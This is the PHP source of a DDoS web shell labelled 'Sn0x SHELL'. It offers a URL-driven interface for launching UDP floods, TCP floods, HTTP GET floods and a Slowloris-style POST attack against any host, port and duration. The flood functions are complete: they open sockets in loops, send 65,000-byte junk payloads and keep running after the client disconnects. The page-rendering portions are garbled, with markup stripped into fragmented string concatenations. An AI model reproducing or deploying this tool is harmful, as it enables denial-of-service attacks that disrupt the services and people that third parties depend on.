Sn0x SHELL


SEND ATTACK DDOS





API FORMAT: index.php?host=[host]&port=[port]&time=[time]&type=[method (UDP/TCP/HTTP/SLOWLORIS)] UDP Flood

' . "\n"; $page .= '
' . "\n"; $page .= ' ' . "\n"; $page .= ' ' . "\n"; $page .= ' ' . "\n"; $page .= '
Host:
Time:
' . "\n"; $page .= '
' . "\n"; $page .= ' ' . "\n"; $page .= '
' . "\n"; } } elseif ( $type == "TCP" ) { if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['port'] != '' ) { $page .= TCP_FLOOD ( $host , $port , $time ); } else { $page .= ' TCP Flood

' . "\n"; $page .= '
' . "\n";; $page .= ' ' . "\n"; $page .= ' ' . "\n"; $page .= ' ' . "\n"; $page .= ' ' . "\n"; $page .= '
Host:
Port:
Time:
' . "\n"; $page .= '
' . "\n"; $page .= ' ' . "\n"; $page .= '
' . "\n"; } } elseif ( $type == "HTTP" ) { if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['page'] != '' ) { $page .= HTTP_FLOOD ( $host , $page , $time ); } else { $page .= ' HTTP Flood

' . "\n"; $page .= '
' . "\n";; $page .= ' ' . "\n"; $page .= ' ' . "\n"; $page .= ' ' . "\n"; $page .= ' ' . "\n"; $page .= '
Host:
Page:
Time:
' . "\n"; $page .= '
' . "\n"; $page .= ' ' . "\n"; $page .= '
' . "\n"; } } elseif ( $type == "SLOWLORIS" ) { if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['page'] != '' ) { $page .= SLOWLORIS ( $host , $page , $time ); } else { $page .= ' Slowloris

' . "\n"; $page .= '
' . "\n";; $page .= ' ' . "\n"; $page .= ' ' . "\n"; $page .= ' ' . "\n"; $page .= ' ' . "\n"; $page .= '
Host:
Page:
Time:
' . "\n"; $page .= '
' . "\n"; $page .= ' ' . "\n"; $page .= '
' . "\n"; } } else { } } else { } $page .= '
' . "\n"; $page .= ' ' . "\n"; $page .= '' . "\n"; print$page; ///////////////////////////////////////////////////////////////////////////////////////////////////////// // UDP FLOOD //////////////////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////////////////// function UDP_Flood( $host , $length ) { ignore_user_abort(TRUE); set_time_limit(0); $max_time = time() + $length; $packet = ""; $packets = 0; while( strlen ( $packet ) < 65000 ) { $packet .= Chr( 255 ); } while( 1 ) { if ( time() > $max_time ) { break; } $rand = rand( 1 , 65535 ); @$fp = fsockopen( 'udp://'.$host, $rand, $errno, $errstr, 5 ); if( $fp ) { fwrite( $fp , $packet ); fclose( $fp ); $packets++; } } if ( $packets == 0 ) { $rtn = 'UDP Flood

' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '
Host:' . $host . '
Length:' . $length . ' Second(s)
' . "\n"; $rtn .= '
An error occurred! Could not send packets.
' . "\n"; } else { $rtn = 'UDP Flood

' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '
Host:' . $host . '
Length:' . $length . ' Second(s)
Packets:' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )
Megabytes:' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )
' . "\n"; } return$rtn; } ///////////////////////////////////////////////////////////////////////////////////////////////////////// // TCP FLOOD //////////////////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////////////////// function TCP_Flood( $host , $port , $length ) { ignore_user_abort(TRUE); set_time_limit(0); $max_time = time() + $length; $packet = ""; $packets = 0; while( strlen ( $packet ) < 65000 ) { $packet .= Chr( 255 ); } @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 ); while( 1 ) { if ( time() > $max_time ) { break; } if( $fp ) { fwrite( $fp , $packet ); fclose( $fp ); $packets++; } else { @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 ); } } if ( $packets == 0 ) { $rtn = 'TCP Flood

' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '
Host:' . $host . '
Port:' . $port . '
Length:' . $length . ' Second(s)
' . "\n"; $rtn .= '
An error occurred! Could not send packets.
' . "\n"; } else { $rtn = 'TCP Flood

' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '
Host:' . $host . '
Port:' . $port . '
Length:' . $length . ' Second(s)
Packets:' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )
Megabytes:' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )
' . "\n"; } return$rtn; } ///////////////////////////////////////////////////////////////////////////////////////////////////////// // HTTP FLOOD /////////////////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////////////////// function HTTP_Flood( $host , $page , $length ) { ignore_user_abort(TRUE); set_time_limit(0); if ( $page == '' ) { $page = '/'; } $max_time = time() + $length; $packet .= 'GET ' . $page . ' HTTP/1.1' . "\r\n"; $packet .= 'Host: ' . $host . "\r\n"; $packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n"; $packet .= 'Keep-alive: 300' . "\r\n"; $packet .= 'Connection: keep-alive' . "\r\n\r\n"; @$fp = fsockopen( $host, 80, $errno, $errstr, 5 ); while( 1 ) { if ( time() > $max_time ) { break; } if( $fp ) { fwrite( $fp , $packet ); fclose( $fp ); $packets++; } else { @$fp = fsockopen( $host, 80, $errno, $errstr, 5 ); } } if ( $packets == 0 ) { $rtn = 'HTTP Flood

' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '
Host:' . $host . '
Length:' . $length . ' Second(s)
' . "\n"; $rtn .= '
An error occurred! Could not send packets.
' . "\n"; } else { $rtn = 'HTTP Flood

' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= 'Packets: ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )
' . "\n"; $rtn .= '
Host:' . $host . '
Length:' . $length . ' Second(s)
' . "\n"; } return$rtn; } ///////////////////////////////////////////////////////////////////////////////////////////////////////// // SLOWLORIS /////////////////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////////////////// function SLOWLORIS( $host , $page , $length ) { ignore_user_abort(TRUE); set_time_limit(0); if ( $page == '' ) { $page = '/'; } $max_time = time() + $length; $packet .= 'POST ' . $page . ' HTTP/1.1' . "\r\n"; $packet .= 'Host: ' . $host . "\r\n"; $packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n"; $packet .= 'Content-length: 42' . "\r\n\r\n"; @$fp = fsockopen( $host, 80, $errno, $errstr, 5 ); while( 1 ) { if ( time() > $max_time ) { break; } if( $fp ) { fwrite( $fp , $packet ); fclose( $fp ); $packets++; } else { @$fp = fsockopen( $host, 80, $errno, $errstr, 5 ); } } if ( $packets == 0 ) { $rtn = 'Slowloris

' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '
Host:' . $host . '
Length:' . $length . ' Second(s)
' . "\n"; $rtn .= '
An error occurred! Could not send packets.
' . "\n"; } else { $rtn = 'Slowloris

' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= '' . "\n"; $rtn .= 'Packets: ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )
' . "\n"; $rtn .= '
Host:' . $host . '
Length:' . $length . ' Second(s)
' . "\n"; } return$rtn; } ?>